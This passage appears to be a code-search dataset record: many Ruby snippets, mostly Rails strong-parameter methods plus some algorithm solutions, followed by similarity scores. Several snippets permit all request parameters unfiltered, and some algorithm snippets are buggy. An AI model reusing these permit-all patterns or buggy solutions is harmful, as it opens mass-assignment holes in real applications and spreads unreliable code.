\t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Time Complexity: worst case unbalancedO(n), balO(log n) Space Complexity: worst caseO(n), balO(log n)
def add(key, value) if @root.nil? @root = TreeNode.new(key, value) else self.add_helper(@root, key, value) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def can_balance(list)\n firstpart = 0\n secondpart = 0\n list.size.times do |n|\n firstpart = 0\n secondpart = 0\n if n != 0 && n != (list.size - 1)\n list.size.times do |i|\n if i <= n\n firstpart = firstpart + list[i]\n end\n if i > n\n secondpart = secondpart + list[i]\n end\n end\n if firstpart == secondpart\n return true\n end\n end\n if n == 0\n list.size.times do |i|\n if i != 0\n secondpart = secondpart + list[i]\n end\n end\n if list[0] == secondpart\n return true\n end\n end\n if n == (list.size - 1)\n list.size.times do |i|\n if i != (list.size - 1)\n firstpart = firstpart + list[i]\n end\n end\n if list[(list.size - 1)] == firstpart\n return true\n end\n end\n end\n return false\nend", "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend", "def balanced_point(array)\n (0...array.length).each do |i|\n left_sum = 0\n right_sum = 0\n (0...i).each do |j|\n left_sum += array[j]\n end\n (i+1...array.length).each do |j|\n right_sum += array[j]\n end\n if left_sum == right_sum\n return i\n end\n end\n return -1\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def solution(n, a)\n counters = Array.new(n, 0)\n max = 0\n a.each do |item|\n if item >= 1 && item <= n\n counters[item - 1] += 1\n max = counters[item - 1] if counters[item - 1] > max\n elsif item == n + 1\n counters = Array.new(n, max)\n end\n end\n\n counters\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def n_naught_brute_vs_recursive(a)\n time_brute = Benchmark.realtime { brute_force_maximum_subarray(a) }\n time_recursive = Benchmark.realtime { maximum_subarray(a, 0, a.length - 1) }\n\n while time_brute < time_recursive do\n a << a.sample\n time_brute = Benchmark.realtime { brute_force_maximum_subarray(a) }\n time_recursive = Benchmark.realtime { maximum_subarray(a, 0, a.length - 1) }\n end\n\n result = a.length\nend", "def solution(h)\n n = h.size\n return 0 if n == 0\n stack = [h.first]\n blocks = 0\n (1...n).each { |y|\n if h[y] != stack.last\n while !stack.empty? && h[y] < stack.last\n stack.pop\n blocks += 1\n end\n stack << h[y] unless stack.last == h[y]\n end # != last\n }\n blocks += stack.count\nend", "def can_balance(list)\n i = 0\n list.each do |n|\n left = 0\n right = 0\n i2 = 0\n list.each do |z|\n if i2 <= i\n left += z\n else\n right =+ z\n end\n if left == right\n return true\n end\n i += 1\n end\n return false\n end\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def solution(a)\n n = a.size\n starting = Array.new(n, 0)\n ending = Array.new(n, 0)\n\n (1..n - 2).each {|i| starting[i] = [starting[i - 1] + a[i], 0].max}\n (1..n - 2).reverse_each {|i| ending[i] = [ending[i + 1] + a[i], 0].max}\n\n sum = 0\n (1..n - 2).each {|i| sum = [sum, starting[i - 1] + ending[i + 1]].max}\n sum\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def candies(n, arr)\n cc = []\n cc[0] = 1\n 1.upto(n-1) do |i|\n if arr[i] > arr[i-1]\n cc[i] = cc[i-1] + 1\n else\n cc[i] = 1\n end\n end\n p cc\n (n-2).downto(0) do |i|\n if arr[i] > arr[i+1] && cc[i] <= cc[i+1]\n cc[i] = cc[i+1] + 1\n end\n end\n p cc\n cc.reduce(:+)\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def bunny(n)\n return 0 if n == 0\n return n + bunny(n / 2.0 )\n # This passes the tests, though technically it never hits 0 (just approaches 0)\n # An alternate solution is to return 1 + bunny(n - 0.5) but that would have a slower time complexity O(n)\nend", "def can_balance(list)\n i = 0\n list.each do |a|\n left = 0\n right = 0\n i2 = 0\n list.each do |b|\n if i2 <= i\n left += b\n else\n right += b\n end\n i2 += 1\n if left == right\n return true\n end\n end\n i += 1\n end\n return false\nend", "def solution(n, a)\n max = 0\n counters = Array.new(n, max)\n a.each do |counter|\n if counter == n + 1\n counters.fill(max)\n else\n counters[counter - 1] += 1\n max = counters[counter - 1] if counters[counter - 1] > max\n end\n end\n counters\nend", "def better_contig_subsum(arr)\n max_sum = arr.inject(&:+) # O(n)\n temp_sum = max_sum\n\n loop do # O(n)\n left = temp_sum - arr.first\n right = temp_sum - arr.last\n\n if arr.length == 1\n if arr.first > max_sum\n return arr.first\n else\n return max_sum\n end\n end\n\n if right >= left\n max_sum = right if right >= max_sum\n temp_sum = right\n arr.pop\n else\n max_sum = left if left >= max_sum\n temp_sum = left\n arr.shift\n end\n end\n\n max_sum\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def corgi_golden_age(arr)\n\tmax_subset_sum = 0\n\tmax_i = 0\n\tmax_j = 0\n\tsum = 0\n\ti = 0\n\tj=i+1\n\twhile i < arr.length\n\t\twhile j < arr.length\n\t\t\tsum = arr[i]+arr[j]\n\t\t\tif sum > max_subset_sum\n\t\t\t\tmax_subset_sum = sum\n\t\t\t\tmax_i = i\n\t\t\t\tmax_j = j\n\t\t\tend\n\t\t\tj+=1\n\t\tend\n\t\ti+=1\n\tend\n\treturn [max_i, max_j]\n\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def solution_dp_bu(p, n)\n dp = Array.new(n, MIN_INT)\n # we set p[0] and dp[0] to 0\n dp[0] = 0\n p = p.dup.unshift(0)\n\n (1..n).each do |i|\n dp[i] = (0..(i - 1)).reduce(MIN_INT) do |max, j|\n [max, dp[j] + p[i - j]].max\n end\n end\n\n dp.last\nend", "def abund? n\n arr = []\n tail = Math.sqrt n\n (1..tail).each do |x|\n if n % x == 0\n arr << x\n arr << n/x\n end\n arr.pop if x*x == n\n end\n n < arr.sum\nend", "def large_contig_subsum2(arr)\n timestart = Time.now\n max_sum = 0\n curr_sum = 0\n i = 0\n while i < arr.length\n if arr[i] + curr_sum > 0\n curr_sum += arr[i]\n max_sum = curr_sum if curr_sum > max_sum\n else\n curr_sum = 0\n end\n i += 1\n end\n\n p (Time.now - timestart) * 1000\n max_sum\nend", "def solution(a)\n # we could do radix sort and then loop over all the items in order to find the missing element\n # in the ordered list or use the Gauss theorem: https://study.com/academy/lesson/finding-the-sum-of-consecutive-numbers.html\n #\n # if we use the Gauss theorem we can do:\n # sum = (1 + N+1) * ( N / 2 )\n #\n # if (1 + N+1) % 2 == 1 we need to sum also (n+1+1)/2 + 1\n #\n # then remove every item from the sum: the remainder is the missing number\n len = a.length\n sum = (1 + len + 1) * ((len + 1) / 2)\n sum += ((len + 1) / 2.0).ceil unless (len + 1) % 2 == 0\n\n a.reduce(sum) do |sum, i|\n sum - i\n end\nend", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def bad_contig_subsum(arr)\n # n! || n^3 ?\n sub_arrays = []\n arr.each_index do |i|\n (i...arr.length).each do |j|\n sub_arrays << arr[i..j]\n end\n end\n\n # above * n^2 ? << bottleneck\n max = sub_arrays.first.inject(&:+)\n sub_arrays.each do |sub_arr|\n sub_sum = sub_arr.inject(&:+)\n max = sub_sum if sub_sum > max\n end\n max\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def isAbundant(n)\n return getDivSums(n) > n\nend", "def make_better_change(amount, coin_denoms)\n return [amount] if coin_denoms.include?(amount)\n return [] if amount <= 0\n\n coin_denoms.sort.reverse!\n all_possible_arr = []\n\n coin_denoms.each do |value|\n change_arr = []\n change_arr << value\n change_arr.concat(make_better_change(amount - value, coin_denoms))\n all_possible_arr << change_arr if change_arr.inject(:+) == amount\n end\n\n all_possible_arr.min_by { |arr| arr.length }\n\nend", "def is_abundant?(n)\n return false if n<2\n\n s = 1\n 2.upto(Math.sqrt(n).to_i) do |i|\n if ((n % i) == 0 )\n s += i\n s += (n/i) unless (n/i == i)\n\n return true if s > n\n end\n end\n return false\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def solve2( n = 150_000_000 )\n # Brute force.\n sum = 10\n i = 20\n\n while i < n\n if 0 != i % 3\n i2 = i*i\n\n # Must verify that the primes are consecutive (i.e. there aren't any\n # primes hiding between entries).\n if (i2 + 1).miller_rabin? &&\n (i2 + 3).miller_rabin? &&\n (i2 + 7).miller_rabin? &&\n (i2 + 9).miller_rabin? &&\n !(i2 + 11).miller_rabin? &&\n (i2 + 13).miller_rabin? &&\n !(i2 + 17).miller_rabin? &&\n !(i2 + 19).miller_rabin? &&\n !(i2 + 21).miller_rabin? &&\n !(i2 + 23).miller_rabin? &&\n (i2 + 27).miller_rabin?\n \n sum += i\n i += 315410\n end\n end\n\n # From observation that 10 | a_n in similar sequences.\n i += 10\n end\n\n sum\n end", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def solution(n, a)\n # write your code in Ruby 2.2\n arr = [0] * n\n max_c = 0\n \n a.each_with_index do |value,index|\n if value == n + 1\n arr = [max_c] * n\n else\n arr[value - 1] = arr[value - 1] + 1\n max_c = (arr[value -1] > max_c ? arr[value -1] : max_c)\n end\n end\n arr\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def can_balance(list)\n a = 0\n sum1 = 0\n sum2 = 0\n b = list[0]\n list.size.times do |i|\n a = a + list[i]\n sum2 = a - b\n sum1 = a - sum2\n if sum2 == sum1\n return true\n end\n #b += list[i+1]\n end\n return sum2\nend", "def isBalanced(s)\n puts \"\"\n puts \"Initial Array: #{s}\"\n puts \"\"\n \n # sting to array \n print\n s_array = s.chars\n # elemen count\n\n # ele_count = []\n # s.chars.each do |var, i|\n # p i\n # p var\n # # ele_count[i].include?( ) ? ele_count << var\n # end\n\n left = 0\n right = 0\n left_squared = 0\n right_squared = 0\n left_curly = 0\n right_curly = 0\n\n\n \"s_array size: #{s_array.size} \"\n \"s_array 1/2 : #{s_array.size / 2} \"\n\n bytes_array = []\n\n s_array.each do |char|\n case char\n when \"(\"\n left += 1\n bytes_array << 40\n when \")\"\n right += 1\n bytes_array << 41\n when \"[\"\n left_squared += 1\n bytes_array << 91\n when \"]\"\n right_squared += 1\n bytes_array << 93\n when \"{\"\n left_curly += 1\n bytes_array << 123\n else\n right_curly += 1\n bytes_array << 125\n end\n end\n \"( #{left}\"\n \") #{right}\"\n \"[ #{left_squared}\"\n \"] #{right_squared}\"\n \"{ #{left_curly}\"\n \"} #{right_curly}\"\n\n bytes_array\n\n diff = left - right\n diff_squared = left_squared - right_squared\n diff_curly = left_curly - right_curly\n\n # the number of each of the elements is balanced\n condition1 = diff == 0 && diff_squared == 0 && diff_curly == 0\n condition1\n\n if condition1\n \"the number of elements is balanced? || for each open there is a close ? : YES\"\n \"is the opening and closing balanced ?\"\n else\n \"the number of elements is NOT balanced \"\n end\n\n puts \"first half: 